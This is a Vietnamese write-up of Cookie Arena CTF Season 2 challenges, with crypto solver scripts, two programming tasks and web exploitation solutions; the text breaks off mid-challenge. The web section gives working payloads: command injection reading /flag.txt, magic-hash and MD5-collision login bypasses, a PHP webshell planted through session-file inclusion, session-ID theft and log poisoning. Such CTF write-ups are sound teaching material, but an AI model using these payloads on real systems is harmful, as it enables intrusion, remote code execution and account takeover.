Cookie Arena CTF Season 2 Writeup

Writeup 26 challenges

Posted by anhtv on July 10, 2023

Crypto

Basic Operator

Description

Sử dụng kiến thức toán học và cấu trúc đại số để giải mã flag

Link Download: https://drive.google.com/file/d/12t2NfEJISC_TSI0FFjqiHDEQmlGEH195/view?usp=drive_link (pass: cookiehanhoan)

Format FLAG: CHH{XXX}

Solution

Down challenge được file python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util import number

def padding_pkcs7(data,block_size=4):
	tmp = len(data) + (block_size - len(data) % block_size)
	return data.ljust(tmp,bytes([block_size-(len(data)%block_size)]))

def split_block(data,block_size):
	return list(int.from_bytes(data[i:i+block_size],'little') for i in range(0,len(data),block_size))

def plus_func(data,shift):
	return (data+shift)&0xffffffff

def mul_func(data,mul):
	return (data*mul)&0xffffffff

def xor_shift_right_func(data,bit_loc):
	return (data^(data>>bit_loc))&0xffffffff

def pow_func(data,e,p):
	return pow(data,e,p)

def exp_func(data,base,p):
	return pow(base,data,p)

def ecb_mode(data):
	return list(pow_func(exp_func(xor_shift_right_func(mul_func(plus_func(block,3442055609),2898124289),1),e,p),e,p) for block in split_block(padding_pkcs7(data,4),4))

if __name__=='__main__':
    p = 1341161101353773850779
    e = 2
    mess = b'CHH{CENSORED}'
    cipher_flag = ecb_mode(mess)
    print(cipher_flag)

Dựng lại hàm ngược của từng hàm (chạy bằng Sage)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from Crypto.Util.Padding import unpad

def rev_exp_func(rev, base, p):
    R = Zmod(p)
    data = discrete_log(R(rev), R(base))
    return Integer(data)

def rev_pow_func1(rev, e, p):
    R = Zmod(p)
    return int(p - R(rev).nth_root(2))

def rev_pow_func2(rev, e, p):
    R = Zmod(p)
    return int(R(rev).nth_root(2))

def rev_shift_right_func(n):
    n = format(n, "032b")
    # print(n)
    b = [0]
    for i in range(32):
        b.append(b[i] ^^ int(n[i]))
    # assert len(b) == 32
    return int("".join([str(i) for i in b[1:]]) , 2)

def rev_mul_func(rev, mul):
    R = Zmod(0xffffffff + 1)
    return int(R(rev)/ R(mul))

def rev_plus_func(rev, shift):
    R = Zmod(0xffffffff + 1)
    return int(R(rev)- R(shift))

def unpad_pksc7(padding):
    return unpad(padding, 4)

def mix_block(list_block):
    return [int.to_bytes(i, 4, "little") for i in list_block]

def decrypt1(cipher_block):
    p = 1341161101353773850779
    e = 2   

    return mix_block([rev_plus_func(rev_mul_func(rev_shift_right_func(rev_exp_func(rev_pow_func1(block, e, p), e, p)), 2898124289), 3442055609) for block in cipher_block])

def decrypt2(cipher_block):
    p = 1341161101353773850779
    e = 2   

    return mix_block([rev_plus_func(rev_mul_func(rev_shift_right_func(rev_exp_func(rev_pow_func2(block, e, p), e, p)), 2898124289), 3442055609) for block in cipher_block])    

Cipher = [752589857254588976778, 854606763225554935934, 102518422244000685572, 779286449062901931327, 424602910997772742508, 1194307203769437983433, 501056821915021871618, 691835640758326884371, 778501969928317687301, 1260460302610253211574, 833211399330573153864, 223847974292916916557]

a = decrypt1(Cipher)
b = decrypt2(Cipher)

print(b[0] + b[1] + a[2] + b[3] + a[4] + a[5] + b[6] + a[7] + a[8] + b[9] + a[10] + b[11])

Lý do tại sao lại có hai decrypt do hàm pow, phương trình \(x^2 = y ~ mod~ p\) có 2 nghiệm phân biệt

Flag: CHH{w3lc0m3_70_7h3_m47h_w0rld(1_h4t3_1t_th3r3)}

Knapsack Ls

Description

Hệ thống mã hóa giựa trên bài toán Knapsack (bài toán xếp ba lô) đã bị coi là lỗi thời, nhưng điều đó không có nghĩa là nó có thể bị phá giải quá dễ dàng. Dựa vào implementation của mã hóa Knapsack trong knapsack.py, giải mã cipher để thu hồi flag.

Link Download: https://drive.google.com/file/d/1YF328FF0rMWPw8IFa_jMzXytiM9MqVg9/view?usp=drive_link (pass: cookiehanhoan)

Solution

Bài toán Knapsack trên trường số nguyên có thể giải bằng LLL (chạy bằng sage)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def convert_bin_bytes(data:list, bit_size:int)->bytes:# little endian 
	data = sum(data[i]<<i for i in range(bit_size))
	return data.to_bytes(bit_size//8,'little')

def solve(A, a):
    n = len(a)
    list_mat = []
    for i in range(0,n):
        v = [0,] * i + [2,]  + [0,] * (n - 1 - i) + [a[i],]
        list_mat.append(v)
    v = [1,] * n + [A,]
    list_mat.append(v)

    B = matrix(ZZ, list_mat)
    B = B.LLL()

    solution = []
    for v in B:
        if v[n] == 0:
            x = []
            for i in range(n):
                if v[i] != 1 and v[i] != -1:
                    break
                x.append((v[i]+1) // 2)
        
        if len(x) == n:
            t = 0
            for i in range(0,n):
                t += x[i] * a[i]
            if t == A:
                solution.append(x)

            t = 0    
            for i in range(0, n):
                t += (1-x[i]) * a[i]
                x[i] = 1 - x[i]
            if t == A:
                solution.append(x)

    return solution[0] 
    

a = [43840113305581131795279797789093610869, 25671162443490210031784763050767207532, 6001769265119430614631782649952643356, 73521673497713025029239337461919881111, 86207439010568594314162414481970962317, 47714522703176373455115652188956101728, 39013785450660799339071487833855117053, 99720328779553130323261570624699472274, 56801730014082032103764648702913670605, 56875947939072280053341910569703290481, 6777018736332231356360273109122323983, 64282820255623342830695520268826453473, 21510177863483107761513368858017158458, 88999212996376205373411604716481814294, 21167180433710172715561410769658980338, 53988354426206626048276676648717671789, 82454574554107632872906561271793885103, 34238518652709304551635369779340095136, 5081213770246109310854315030563596017, 35676546839591659980876620994236683080, 61804490028276149551813742275879895343, 47868484398459384397990013507113194128, 79141732458875716511767486956076635010, 89768484644472604982812438158836379513, 108665660470366488973920414914088436457, 42013527007997056247679460159005166736, 59516238668397055079712758172437350204, 12247246885302547631808898114678421540, 68119702452821826703846268698978422087, 46477361269068664125259653428529967798, 104192935540102711457274510496328770849, 39480897318804270587289396967546023715]
cipher = b'\xe7\x81W\x8eA0\xb0\x92tM\xc9\x06\x07~$\xef\x01\x0c\x16\x8cP\x11l\x81\xe8\xa7\xa3\x0e\xec\x8a~\xe9Z\x02\xb28\x92z^\x16m\xb5\x80o\xf6\xd9\xec@\xc0\x85\x02\xdbvo\x8bB\xb3\xa2\xe4\x00\x01\xc2\xcaL\xdb\x8a\t\x03\xaf\xa528\xc8\xa1\xf6\x05u\xeb\xc0\xcbc\x06\xd8 \x02\xca@E&\xf0d4A\x85\x04\x84p~\xa5\t\xfe\x02\xd9\xa8\xcbp\xb9\xe8\x14\x04\x9a\xb9\x16#\x0b\xb8\x98\x90\x02\x8c\xe2\xf1\x8a\xf1\xe3Z\xe4\xff\xb4"\xeb\x86k\x97\x1b\x02IsN%\xd5\xect\x96\xb3\xe7\xf5Mw\xe6S\xbd\x02\xb7\xc4\xe9\xa6\x019q\xc9\xdd\xaf\xad9bG\xd8\x1e\x02\x18{\xc6q\xbe=\x97&\x18qj\xed\xfd\xb8\x94\xfd\x01'
def decrypt(block, public_key):
    A = int.from_bytes(block, "little")
    return convert_bin_bytes([int(i) for i in solve(A, public_key)], 32)
flag = b""
for i in range(0, len(cipher), 17):
    flag += decrypt(cipher[i:i+17], a)
print(flag)

Flag: CTF{kn4p54ck_15_br0k3n_th3r3f0r3_e4sy!!!}

Rubic Cipher

Description

Flag đã được xáo trộn bằng một thuật toán dựa trên cơ chế xoay khối rubik, tìm hiểu và áp dụng cơ chế này để thu hồi flag

Link Download: https://drive.google.com/file/d/1MMTfyOtnTpIb59uyleONykER_iidt5L7/view?usp=drive_link (pass: cookiehanhoan)

Format FLAG: CHH{XXX}

Solution

Dựng lại thuật toán mã hóa bằng Rubik sử dụng thư viện numpy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import numpy as np

class Cube(object): 
    dimensions = 3

    def __init__(self, block):
        assert len(block) == 54
        self.U = np.array([list(block[i:i+3]) for i in range(0,9,3)], dtype=np.dtype('b'))
        self.L = np.array([list(block[i+9:i+12]) for i in range(0,33,12)], dtype=np.dtype('b'))
        self.F = np.array([list(block[i+12:i+15]) for i in range(0,33,12)], dtype=np.dtype('b'))
        self.R = np.array([list(block[i+15:i+18]) for i in range(0,33,12)], dtype=np.dtype('b'))
        self.B = np.array([list(block[i+18:i+21]) for i in range(0,33,12)], dtype=np.dtype('b'))
        self.D = np.array([list(block[i:i+3]) for i in range(45,54,3)], dtype=np.dtype('b'))

    def rot_x(self, prime=False):
        '''Rotates the entire cube on R face.
        Anticlockwise rotation is simply clockwise rotation * 3
        '''
        for i in range(3 if prime else 1):
            bufU = self.U
            self.U = self.F
            self.F = self.D
            self.D = self.B[::-1,::-1]
            self.B = bufU[::-1,::-1]
            self.R = np.rot90(self.R, k=-1)
            self.L = np.rot90(self.L, k=1)
    
    def rot_y(self, prime=False): 
        '''Rotates the entire cube on U face.
        Anticlockwise rotation is simply clockwise rotation * 3
        '''
        for i in range(3 if prime else 1):
            bufF = self.F
            self.F = self.R
            self.R = self.B
            self.B = self.L
            self.L = bufF
            self.U = np.rot90(self.U, k=-1)
            self.D = np.rot90(self.D, k=1)
     
    def rot_F(self, prime=False):    
        '''Rotates face F
        Anticlockwise rotation is simply clockwise rotation * 3
        '''
        self.F = np.rot90(self.F, k=1 if prime else -1)

        for i in range(3 if prime else 1):
            buf = self.L[:, -1].copy()
            self.L[:, -1] = self.D[0]
            self.D[0] = self.R[:, 0][::-1]
            self.R[:, 0] = self.U[-1]
            self.U[-1] = buf[::-1]

    def rot_B(self, prime=False):
        # B = 2y F 2y
        # B' = 2y F' 2y
        self.rot_y()
        self.rot_y()
        self.rot_F(prime)
        self.rot_y()
        self.rot_y()
    
    def rot_L(self, prime=False):
        # L = y' F y
        # L'= y' F' y
        self.rot_y(True)
        self.rot_F(prime)
        self.rot_y()
    
    def rot_R(self, prime=False):
        # R = y F y'
        # R'= y F' y'
        self.rot_y()
        self.rot_F(prime)
        self.rot_y(True)
        
    def rot_U(self, prime=False):
        # U = x' F x
        # U' = x' F' x
        self.rot_x(True)
        self.rot_F(prime)
        self.rot_x()
        
    def rot_D(self, prime=False):
        # D = x F x'
        # D' = x F' x'
        self.rot_x()
        self.rot_F(prime)
        self.rot_x(True)
        
    def apply(self, move, prime=False):
        getattr(self, "rot_"+move[0])(prime)
    
    def scramble(self, scramble):
        # Take each move and apply it, if it contains a'2', do it again
        for move in scramble.split(' '):
            m = move.replace("2", "")
            self.apply(m, "'" in move)
            if '2' in move:
                self.apply(m, "'" in move)
        
    def unscramble(self, scramble):
        # Take the reversed move list, if no '2' in move, do the reverse, other
        for move in scramble.split(' ')[::-1]:
            m = move.replace("2", "")
            self.apply(m, not "'" in move) 
            if '2' in move:
                self.apply(m, not "'" in move)                           
    
    def get_block_bytes(self):
        out = b"".join(self.U.flatten())
        out +=b"".join(np.array(list(zip(self.L,self.F,self.R,self.B))).flatten()) 
        out += b"".join(self.D.flatten())
        return out

    def __str__(self):
        indent = ' ' * self.dimensions + ' ' * (self.dimensions-1) + '\t'
        out = indent
        out += '\n{i}'.format(i=indent).join([' '.join([str(tile) for tile in row]) for row in self.U]) + '\n\n'
        out += "\n".join(["\t".join([" ".join([str(tile) for tile in r]) for r in x]) for x in np.array(list(zip(self.L,self.F,self.R,self.B)))])
        out += "\n\n"
        out += indent
        out += '\n{i}'.format(i=indent).join([' '.join([str(tile) for tile in row]) for row in self.D]) + '\n'
        return out
    

def byte_enc_block(block, key):
    c = Cube(block)
    c.scramble(key)
    return c.get_block_bytes()


def byte_dec_block(block, key):
    c = Cube(block)
    c.unscramble(key)
    return c.get_block_bytes()


def xor(block, key):
    return bytes([b ^ k for b, k in zip(block, key)])


iv = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv"
key ="D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'"

cipher = b';V".24$9\x0cw`\x02 \x16\x0b9j:2F\x128-x?\x05C\x1b3$\nShX*W\x01,\x025\x01\x0e\x17\x17\x01\x1c>X\x02C=\x00<\x1a0\x18>\x06\x00JE\x1e\x00\x16X\x0b \x0c\x1d\x08\r9\x0b0\x12q\x1fRS7\x0f3\x01tfa)\x07\x0ee3\n(<\x163j\x0b0.Z%%q8j$2'

# Đoạn này hơi guessing xíu thay vì dec thì lại enc :D
c1 = byte_enc_block(cipher[0:54], key)

c2 = byte_enc_block(cipher[54:108], key)

print(xor(c1, iv) + xor(c2, cipher[0:54]))

Flag: CHH{wh0_kn3w_rub1k_puzzl3_c4n_b3_u53d_f0r_3ncryp710n_t00?}

RSA Percent Leak

Description

Hệ thống mã hóa RSA đã vô tình để lộ quan hệ giữa p và q (thể hiện bởi l), sử dụng l để tái tạo p, q, và thu hồi flag.

Link Download: https://drive.google.com/file/d/1jZsn98o-Eb7uWnuzfsSUmoK5VW4iJ0vf/view?usp=drive_link (pass: cookiehanhoan)

Solution

Nhận xét:

1
2
3
((p & q) * (p ^ q) | 0x1337) % 2**k == (((p % 2**k) & (q % 2**k)) * ((p % 2**k) ^ (q % 2**k)) | 0x1337) % 2**k == l % 2**k

((p % 2**k) * (q % 2**k)) % 2**k == N % 2**k

Như vậy ta có thể khôi phục từng bit 1 của hệ hai phương trình trên bằng quay lui

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import long_to_bytes
c = 0x56b894058c86db8641f2586a94794662520de144dbfbd0d3ad36a50b81b6d70a6a1d6f3e7faf2b37b1c53127e5684d235191664741ff2f0516c3d7596f3995abdd16a171be43f5660c9d4620db64f2430ae8c314f5576d912aae2e643517466b3fb409b4589b4726f12f3c376de45960dafdb658279b232118e6a9b1383ef600cdef465c499d330776c89cc5e0d02ec97a0614bc1d557f4e53595772bf02310105fe0ff8e27ba0376500990e6e8b2eb318bfa20f46b62c8841e8f97e8b649a2b18e4d6dc1bc2184184288559f8e43043bbff6f27479aa7846dac4f1d9e62ee3167fe511a6606f4ff69fb61bb4d2610913bc85e57144b0fe58cfca8e8b2ba996e
n = 0xa7643b16219097b5cc47af0acfbb208b2717aa2c2dbdbd37a3e6f6f40ae12b77e8d129eb672d660b6e146682a32d70c01f8e481b90b5ec710dabb57e8de2661fd49ec9d3a23d159bd5fb397047a1e053bbbf579d996e7fe7af56332753b816f4a5353966bfe50b7e0d95d9f235f5edfd59e23d3a7523cd25ea6e34a6f16f2d14b21c43f3bb7b68a8b2237a77fb6cb4cf3ba3987c478a39391b0f42a0d0230846a054599fea4effe27fcd9b514f711831b38f0288db256deef967f3d3d20b9e0071027b99cae1b0a3bd452efd654d1a4a431291ba8a99743d44a35afcb1db267a8c63574ac1ef32c8e71de473cc98aea927e3de0daf5819600818edac66b74b9b
l = 0x168b7f77f276e7f9f55df25d096cd5abbf632f22eae79ba72bad2d60ebccb03c6b614be2c682d58655a335277afa171fb085b40519311be7e74d26d37a066d9487ce511ad72e54779225534ca37c2714e51aca763676590dc2fb1e70c66dc8113704e168d46ab91fd8cdc77738314be6e1b20fc5664b747dddc94ff17f2fc7c80e75bcdc1c3618c54144070f13e698b31ff3d601559a1dafb62904c1079d7ba69ec5d024068dd3b2e6c2d71e4a81589734a5c6e4d4a05335edaf42e9aacf339f930ffb909fa100398eff29a61cb2e58eeff756b5a7b101d69f1e11fa989431bc175e0d59264da400f2d63dfaf1b2ba27ee9698a6a9a83bfe57aab0c069089fff
def b2d(x):
    return int(x, 2)

def d2b(x):
    return format(x,"b")

def check(p, q, k):
    p = b2d(p)
    q = b2d(q)
    return ((((p % 2**k) & (q % 2**k)) * ((p % 2**k) ^ (q % 2**k)) | 0x1337) % 2**k == l % 2**k) and ((p % 2**k) * (q % 2**k)) % 2**k == n % 2**k

sol = []

def Try(p, q, k):
    global n
    if b2d(p) * b2d(q) >= n:
        if b2d(p) * b2d(q) == n:
            print(f"p =", b2d(p))
            print(f"q =", b2d(q))
            sol.append([b2d(p),b2d(q)])
            # Hủy hàm quay lui
            n = 0
        
    else:
        for i in ("0", "1"):
            for j in ("0", "1"):
                p_ = i + p
                q_ = j + q
                if check(p_, q_, k + 1):
                    Try(p_, q_, k + 1)

N = n
Try("1", "1", 1)
p, q = sol[0]
phi = (p-1) * (q-1)
e = 65537
d = pow(e, -1, phi)
m = long_to_bytes(pow(c, d, N))
 
print(m)

Flag: CHH{pl3453_pr0v1d3_4_d3t41ll3d_wr1t3up_b3c4us3_7h1s_k1nd_0f_a77ack_1s_r4th3r_r4r3}

Programming

Decrypt

Description

Tab vốn là một học sinh rất giỏi toán, nên sau khi tham gia khoá học “Xoá mù bảo mật” của Cookie Hân Hoan, cậu liên muốn áp dụng các kỹ thuật toán học để nhằm mã hoá các mật khẩu của mình. Mật khẩu là một chuỗi ký tự S có độ dài n (thứ tự các ký tự từ trái qua phải lần lượt là từ 1 đến n), cách thức mã hoá là thực hiện theo quy trình sau:

Lặp đi lặp lại với lần lượt các ước số nguyên của n theo thứ tự giảm dần từ n tới 1. Với ước số d của n, sẽ đảo ngược chuỗi con S[1…d] (tức là chuỗi con gồm d ký tự đầu tiên) Sau khi thực hiện quy trình trên, Tab sẽ nhận được 1 mật khẩu đã được mã hoá. Ví dụ: Với mật khẩu là chuỗi cookiearenactf có độ dài 14. Với n = 14 có 4 ước số lần lượt là 14, 7, 2, 1.

1
2
3
4
Với d = 14, ta sẽ đảo 14 ký tự đầu tiên, cookiearenactf → ftcaneraeikooc
Với d = 7, ta sẽ đảo 7 ký tự đầu tiên, ftcaneraeikooc → renactfaeikooc
Với d = 2, ta đảo 2 ký tự đầu tiên, renactfaeikooc → ernactfaeikooc
Với d =1, ta đảo 1 ký tự đầu tiên, dĩ nhiên là không thay đổi gì, và nhận được mật khẩu đã được mã hoá là ernactfaeikooc

Và giờ Tab lưu lại mật khẩu đã được mã hoá của mình. Đến giờ cần đăng nhập, hãy giúp Tab tìm lại đúng mật khẩu của mình nào.

Đầu vào Dòng đầu tiên là một số nguyên n (1≤n≤1000), là độ dài của mật khẩu. Dòng thứ hai là một xâu ký tự có độ dài n bao gồm các chữ cái latin viết thường [a-z], chính là mật khẩu đã được mã hoá.

Đầu ra In ra xâu ký tự có độ dài n, chính là mật khẩu ban đầu trước khi được mã hoá. Lưu ý: luôn đảm bảo tồn tại mật khẩu chính xác và duy nhất.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def find_divisors(n):
    divisors = []
    for i in range(n, 0, -1):
        if n % i == 0:
            divisors.append(i)
    return divisors

def reverse_substring(s, d):
    return s[d-1::-1] + s[d:]

n = int(input())
encrypted_password = input()
divisors = find_divisors(n)
for d in divisors:
    encrypted_password = reverse_substring(encrypted_password, d)
print(encrypted_password)

Identity Security

Description

Cookie Arena tổ chức cuộc thi CTF Season II thành công rực rỡ với hàng nghìn lượt đăng ký dự thi. Sau khi kết thúc, ngoài top 10 các bạn thí sinh đạt thành tích cao nhất và được giải chính thức của cuộc thi thì ban tổ chức quyết định sẽ trao tặng một số phần quà hiện vật nho nhỏ cho các bạn thí sinh đạt thành tích tốt, nhằm khích lệ tinh thần của các bạn trong các cuộc thi sau này do Cookie Arena tổ chức. Để công bố danh sách các thí sinh thì ban tổ chức quyết định dùng username để lên danh sách. Tuy nhiên, username trong hệ thống của Cookie Arena là email hoặc số điện thoại cá nhân của người dùng. Việc công khai các thông tin này là điều cấm kỵ, vì vậy bạn tổ chức quyết định che bớt một số ký tự, chỉ để lại một lượng nhỏ, vừa đủ để các thí sinh biết được rằng mình nằm trong danh sách có phần thưởng để liên hệ với ban tổ chức nhận quà.

Cụ thể, cách thức bảo mật danh tính của của thí sinh như sau:

1
2
Với thông tin số điện thoại thì chỉ hiển thị 2 chữ số đầu và 3 chữ số cuối, còn lại được che bằng ký tự hoa thị (*) với mỗi chữ số là một ký tự hoa thị tương ứng.
Với thông tin địa chỉ email thì chỉ giữ lại 2 ký tự đầu và 3 ký tự cuối của phần username, và tên miền (domain), các ký tự còn lại cũng được che tương tự như trên (trong trường hợp username quá ngắn, ít hơn hoặc bằng 7 ký tự thì chỉ giữ lại ký tự đầu và cuối của username). Biết rằng cấu trúc của một địa chỉ email luôn là username@domain.

Hãy giúp ban tổ chức một tay để bảo mật danh tính các thí sinh nào!

Đầu vào Dòng thứ nhất chứa một số nguyên duy nhất N là số lượng thông tin cần được che (1N1000) Tiếp theo là N dòng, mỗi dòng chứa 1 xâu chứa một trong 2 loại thông tin: Số điện thoại, là các chuỗi chữ số có độ dài 9, 10 hoặc 11 chữ số từ 0 đến 9. Địa chỉ email là các chuỗi ký tự bao gồm chữ cái hoa, thường trong bảng mã ASCII, dấu chấm, và 1 ký tự @ để phân chia username và tên miền (luôn đảm bảo email có 1 ký tự @). Độ dài của username của email tối thiểu 3 ký tự và tối đa 1000 ký tự.

Đầu ra N dòng tương ứng là các thông tin của các bạn sinh viên đã được giải tương ứng.

Solution

1
2
3
4
5
6
7
8
9
10
11
N = int(input())
for _ in range(N):
    s = input().strip()
    if s.isdigit():
        print(s[:2] + '*'*(len(s)-5) + s[-3:])
    else:
        username, domain = s.split('@')
        if len(username) <= 7:
            print(username[0] + '*'*(len(username)-2) + username[-1] + '@' + domain)
        else:
            print(username[:2] + '*'*(len(username)-5) + username[-3:] + '@' + domain)

Web

Be Positive

Description

Tóm tắt: Cho cái web và đăng nhập alice:alice hoặc bob:bob @@

Solution

Đây là một hệ thống chuyển tiền, từ tên challenge nghĩ ngay đến việc chuyển tiền âm

Đăng nhập bằng tài khoản Alice và sửa intercept của burpsuite sang số âm

1
2
3
4
5
6
7
POST /?action=transfer HTTP/1.1
Host: be-positive-e048f4d8.dailycookie.cloud
Content-Length: 26
...
Connection: close

amount=-3000&recipient=bob

Flag: CHH{BE_cAr3fUL_WitH_NE6ATIV3_NumBeR_3e87da18c5f0302fa2c467a9d5cd18f7}

Slow down

Description

Tóm tắt: Cho cái web và đăng nhập alice:alice hoặc bob:bob @@

Solution

Bài này cấu trúc tương tự Be Positive, tuy nhiên đã bị filter số âm

Nhận thấy ghi chuyển tiền thì trả về check amount < 0 nhanh nhưng trả về chuyển tiền thành công rất lâu, tên Chall là slow down, nghĩ tới Race Condition

Như vậy, sử dụng 2 thiết bị và đăng nhập cùng tài khoản Alice, chuyển cho bob 1499 cùng 1 lúc từ 2 máy -> Done ~~

Youtube Downloader

Description

Youtube Downloader là công cụ giúp bạn tải video từ Youtube về máy tính miễn phí. Nếu hack được ứng dụng này, bạn sẽ nắm trong tay công nghệ tải video của các website Youtube Downloader trên thế giới.

Solution

Thử 1 ảnh, ta nhận thấy câu lệnh youtube-dl, dễ thấy có thể command injection

Tuy nhiên do url có filter dấu cách nên chúng ta sẽ thay dấu cách bởi ${IFS}

Payload:

1
2
1. https://www.youtube.com/watch?v=fyf;ls${IFS}-a${IFS}/
2. https://www.youtube.com/watch?v=fyf;cat${IFS}/flag.txt

Flag: CHH{Ea5y_cOmmaND_inj3c7Ion_2916ac0127955a1d9953fb2cc712d33d}

Pass Code

Description

Bạn không thể bẻ khoá Pass Code cực an toàn này.

Solution

Sử dụng công cụ https://deobfuscate.relative.im để deobfuscate JS

Mở trang “./flag.php” có ghi passcode là decrypt key

Nhập “bánh quy chấm sữa” và lấy flag

Flag: CHH{jAvAscRIP7_o8FuSCaTe_64acf3ed9f93904f6205709b47c8be28}

Magic Hash

Description

Hãy quan sát chức năng đăng nhập, nó có tồn tại những lỗ hổng nghiêm trọng. FLAG được lưu trong /flag.txt hãy tìm cách đọc được chúng.

Solution

Đăng nhập với password = 34250003024812

Khi đó sha256 = 0e46289032038065916139621039085883773413820991920706299695051332

Thật kỳ diệu khi mà "0e46289032038065916139621039085883773413820991920706299695051332" == "0"

Ta vào được trang upload và Upload shell đơn giản

Tham khảo shell tại Link

Flag: CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_8f9e3b92113749568a033b1a5fb20a4e}

Magic Login Harder

Description Hãy quan sát chức năng đăng nhập, nó có tồn tại những lỗ hổng nghiêm trọng. FLAG được lưu trong /flagXXX.txt hãy tìm cách đọc được chúng.

Challenge Download: https://drive.google.com/file/d/1ZSmsdcJ3iFR2KH4aSBQ9z4xlY-z8o-UH/view?usp=drive_link (pass: cookiehanhoan)

Solution

Download code về, thấy md5 collision

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_POST["submit"])){
    $username = base64_decode($_POST['username']);
    $password = base64_decode($_POST['password']);

    if(($username == $password)){
        echo 'Username and password are not the same';
    }
    else if((md5($username)===md5($password))){
        $_SESSION['username'] = $username;
        header('Location: admin.php?file=1.txt');
    } else {
        echo 'Username and password are wrong';
    }
}

Nhận xét

1
2
3
4
5
6
7
8
9
import hashlib

x = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"
y = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"
x = bytes.fromhex(x)
y = bytes.fromhex(y)

z = b"Any data"
assert hashlib.md5(x+z).hexdigest() == hashlib.md5(y+z).hexdigest()

Vậy ta có thể chọn username và password bất kì để đăng nhập rồi đó

Sang trang admin

1
2
3
4
5
6
7
8
9
10
11
header('Content-Type: text/html; charset=utf-8');
session_start();
if($_SESSION['username'] != null){
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}
}
else{
    die("Only admin can use this");
}

Ồ rõ ràng đây là bug LFI, do không biết được flag tên gì nên ta sẽ phải LFI2RCE để tìm flag

LFI2RCE via PHP_SESSION

Dựng docker biết được vị trí session ở /tmp

Ta thử check /admin.php?file=/tmp/sess_fa76434b7b0aa122ef4b03aa9f8a3e99

Ở đây nó có hiện trường username, như vậy nếu username = ... <?php something ?> thì sao nhì

Vậy ta chỉ cần sửa trường z là xong

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib
from base64 import b64encode as b

x = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"
y = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"
x = bytes.fromhex(x)
y = bytes.fromhex(y)

z = b"<?php system($_GET['cmd']);?>"
assert hashlib.md5(x+z).hexdigest() == hashlib.md5(y+z).hexdigest()

print(b(x+z))
print(b(y+z))

Payload /admin.php?file=/tmp/sess_5d7fa605ef28d522f0f9a849282638f0&cmd=ls%20/

Tiếp tục: /admin.php?file=/tmp/sess_5d7fa605ef28d522f0f9a849282638f0&cmd=cat%20/flagGZXLf.txt

Flag: CHH{7yPE_jU66lin9_hArdEr_df929768446acbfd50193567fa46ecdc}

Suck it

Description

Bạn thâm nhập được vào kênh chat của tổ chức bí mật. Lão admin của kênh chat này rất xấu xa. Hắn buôn lậu vũ khí và đẩy bà già xuống biển. Tuy nhiên, hắn luôn nói bí mật cho người yêu. Hãy giúp tôi tìm ra bí mật đó. Tôi sẽ hổ trợ bạn source của trang web này.

Download challenge: https://drive.google.com/file/d/17LcN4BLMjSyWfT7BofysYjMio4OY2EdO/view?usp=drive_link (pass: cookiehanhoan)

Solution

Nhận xét: Sau khi force disconnect server sẽ gửi lại sessionID của user bị disconnect

Bật intercept burpsuite, gửi payload: 42["force disconnect","ADMIN","574a94b04f303f5663e833b883cd2b23"]

Nhận được sessionID của admin

Sửa sessionID trên local storage

Giờ đã là admin và nhắn cho ny thui nào ><

Flag: CHH{H4ve_y0u_re4d_th3_m3ssage_babef0fdf5e83d09a24e9b60c421c3c9}

Video Extractor

Description

Video Link Extractor là công cụ giúp bạn trích xuất những thông tin cơ bản của các dịch vụ Video trực tuyến như Youtube, Vimeo. Tuy nhiên nó có tồn tại một lỗ hổng nghiêm trọng, hãy tìm ra nó và lợi dụng nó để đọc FLAG được lưu trong flag.php

Tải Challenge: https://drive.google.com/file/d/1jG_gLa9W_qcxhrAokVAbLgkEd2yS-uEX/view?usp=drive_link

Solution

Tải challenge về, check file utils.php, ta có thể lợi dụng log_error để ghi file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function log_error($e){
    $_error_file = "/tmp/".time().".log";
    error_log($e, 3, $_error_file);
}

public function __wakeup(){
    try
        {
            // check if format file is exists?
            include $this->_file;
        }
    catch (Exception $e)
        {
            throw $e;
        }
}

1
GET /index.php?mode=extract&host=<?=`tail+flag.php`?> HTTP/2

Hàm time trả về thời gian hiện tại, như vậy không khó để đoán ra name của file này

Thời gian hiện tại là 1688985073

